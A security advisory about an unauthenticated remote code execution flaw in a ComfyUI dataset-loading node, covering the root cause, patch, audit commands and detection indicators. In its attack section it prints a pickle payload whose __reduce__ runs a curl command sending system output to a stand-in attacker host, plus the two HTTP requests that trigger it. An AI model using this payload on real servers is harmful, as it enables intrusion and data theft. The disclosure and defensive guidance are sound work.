Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsTraining
StudyProjectsNewsletterHire MeAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Training
Study
Projects
Newsletter
Hire Me
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

2161+ Articles
156+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Checklists
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Security
  3. CVE-2026-68771: ComfyUI Unsafe Pickle Deserialization Enables Unauthenticated RCE
CVE-2026-68771: ComfyUI Unsafe Pickle Deserialization Enables Unauthenticated RCE

Critical Security Alert

This vulnerability is actively being exploited. Immediate action is recommended.

SECURITYCRITICALCVE-2026-68771

CVE-2026-68771: ComfyUI Unsafe Pickle Deserialization Enables Unauthenticated RCE

ComfyUI v0.23.0 contains a critical unsafe deserialization vulnerability in the LoadTrainingDataset node. Unauthenticated attackers can upload a crafted pickle file and trigger arbitrary Python code execution. CVSS 9.8.

Dylan H.

Security Team

August 1, 2026
4 min read

Affected Products

  • ComfyUI v0.23.0 (LoadTrainingDataset node)

Executive Summary

A critical unsafe deserialization vulnerability (CVE-2026-68771) has been disclosed in ComfyUI v0.23.0, the popular open-source AI image generation workflow tool. The LoadTrainingDataset node processes uploaded files using torch.load() without the weights_only=True safety flag, allowing an unauthenticated remote attacker to execute arbitrary Python code by uploading a crafted pickle file and queueing a workflow. The vulnerability carries a CVSS 3.1 score of 9.8 (Critical) and a CVSS 4.0 score of 9.3.

A fix is available via Pull Request #14543 in the Comfy-Org/ComfyUI repository.


Vulnerability Overview

AttributeValue
CVE IDCVE-2026-68771
CVSS 3.1 Score9.8 (Critical)
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 4.0 Score9.3 (Critical)
CVSS 4.0 VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Published2026-07-31
CWECWE-502 (Deserialization of Untrusted Data)
Affected SoftwareComfyUI v0.23.0
Attack VectorNetwork (no authentication required)
Privileges RequiredNone
User InteractionNone
Fixed InPR #14543 (weights_only=True)

Root Cause

The LoadTrainingDataset node loads training data shards using torch.load() without the weights_only=True parameter:

# Vulnerable code (simplified)
data = torch.load(shard_path)  # weights_only defaults to False

Python's pickle format — which torch.load() uses by default — can invoke the __reduce__ method on arbitrary classes during deserialization. An attacker can craft a .pkl file that defines a malicious __reduce__ method that executes arbitrary shell commands when the object is reconstructed.

This was the only torch.load() call in the entire ComfyUI codebase lacking weights_only=True — every other call site (comfy/utils.py, comfy/sd1_clip.py) already included this protection.


Attack Chain

The exploit is a straightforward two-stage attack using only unauthenticated HTTP endpoints:

Stage 1 — Upload malicious pickle file
  POST /upload/image
  Content-Type: multipart/form-data
  [body: crafted shard_exploit.pkl with malicious __reduce__]
 
  → Server writes file to ComfyUI input/upload directory
 
Stage 2 — Trigger deserialization
  POST /prompt
  Content-Type: application/json
  { "prompt": { "1": { "class_type": "LoadTrainingDataset",
                       "inputs": { "dataset": "shard_exploit.pkl" } } } }
 
  → torch.load() deserializes the .pkl
  → __reduce__ fires → arbitrary Python/OS commands execute
  → RCE as the ComfyUI process user

Crafted Payload Example

import pickle, os
 
class Exploit:
    def __reduce__(self):
        return (os.system, ("curl http://attacker.com/exfil?id=$(id)",))
 
with open("shard_exploit.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

Impact

ImpactDescription
Arbitrary Code ExecutionExecute any Python or OS command as the ComfyUI process
Model TheftExfiltrate locally cached model weights
Credential TheftRead API keys and tokens from environment/config files
GPU HijackingAbuse available GPU resources for cryptomining or other workloads
Lateral MovementPivot to other services accessible from the ComfyUI host

Remediation

Apply the Patch (PR #14543)

The fix adds weights_only=True to the LoadTrainingDataset node's torch.load() call:

# Patched code
data = torch.load(shard_path, weights_only=True)

Update ComfyUI to a release containing PR #14543 or apply the patch manually.

Verify Other torch.load() Calls

Audit your ComfyUI installation (including custom nodes) for any remaining unsafe torch.load() calls:

grep -rn "torch.load(" . --include="*.py" | grep -v "weights_only=True"

Network Isolation

If running ComfyUI as a shared service, restrict access to the /upload/image and /prompt endpoints:

# Nginx — restrict to trusted IPs only
location ~ ^/(upload|prompt) {
    allow 10.0.0.0/8;
    deny all;
}

Environment Variable Fallback

As an interim measure (PyTorch 2.0+), set the environment variable to force safe loading globally:

export TORCH_FORCE_WEIGHTS_ONLY_LOAD=1

Detection

IndicatorDescription
.pkl files in ComfyUI upload/input directoriesPotential malicious payloads
Unexpected outbound HTTP from ComfyUI hostPost-exploitation exfiltration
Anomalous subprocess spawning from PythonShell commands triggered by deserialization
Unusual GPU/CPU utilization spikesPossible cryptomining post-compromise

References

  • TheHackerWire — ComfyUI v0.23.0 RCE via Unsafe Deserialization
  • GitHub PR #14543 — harden: load training-dataset shards with weights_only=True
  • THREATINT — CVE-2026-68771
  • NIST NVD — CVE-2026-68771

Related Reading

  • CVE-2026-68770: sentence-transformers Security Control Bypass RCE
#CVE-2026-68771#ComfyUI#Deserialization#Pickle#RCE#AI Tools

Related Articles

CVE-2026-14512: IBM WebSphere Pre-Auth Deserialization Allows RCE

A critical pre-authentication unsafe deserialization flaw (CVSS 9.8) in IBM WebSphere Application Server 8.5 and 9.0 allows remote attackers to bypass authentication or execute arbitrary code.

5 min read

CVE-2026-11756: Critical Unauthenticated RCE in Dassault 3DEXPERIENCE

A CVSS 10.0 deserialization vulnerability in the 3DEXPERIENCE Station Launcher App allows unauthenticated attackers to execute arbitrary code on any affected workstation — no credentials, no interaction required.

4 min read

fastjson RCE Without Gadget or AutoType — CVE-2026-16723

A critical remote code execution flaw in fastjson 1.2.68–1.2.83 requires no AutoType enablement and no classpath gadget, making it exploitable on...

3 min read
Back to all Security Alerts